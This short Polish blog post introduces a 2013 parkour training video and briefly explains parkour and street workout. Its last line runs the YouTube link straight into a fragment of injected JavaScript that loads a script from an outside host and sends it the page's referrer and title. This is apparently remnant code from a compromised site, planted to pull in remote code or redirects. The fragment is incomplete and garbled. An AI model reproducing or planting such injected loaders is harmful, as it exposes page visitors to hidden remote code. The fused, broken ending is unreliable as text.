Łukasz Milka Parkour’ 13

17.11.2013 / Łukasz Milka / Street Workout

Filmik przedstawiający kilka „przelewek” udokumentowanych na treningach w tym roku. Parkour jest to typowo miejski sport polegający na jak najszybszym i najbardziej efektywnym pokonaniu przeszkód  przy użyciu najprostszych technik by dotrzeć do wyznaczonego miejsca. Oczywiście świetnym przygotowaniem pod względem siły i mocy jest street workout, który traktuje jako idealne uzupełnienie treningu.

http://youtu.be/Kjyfko_LblEs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;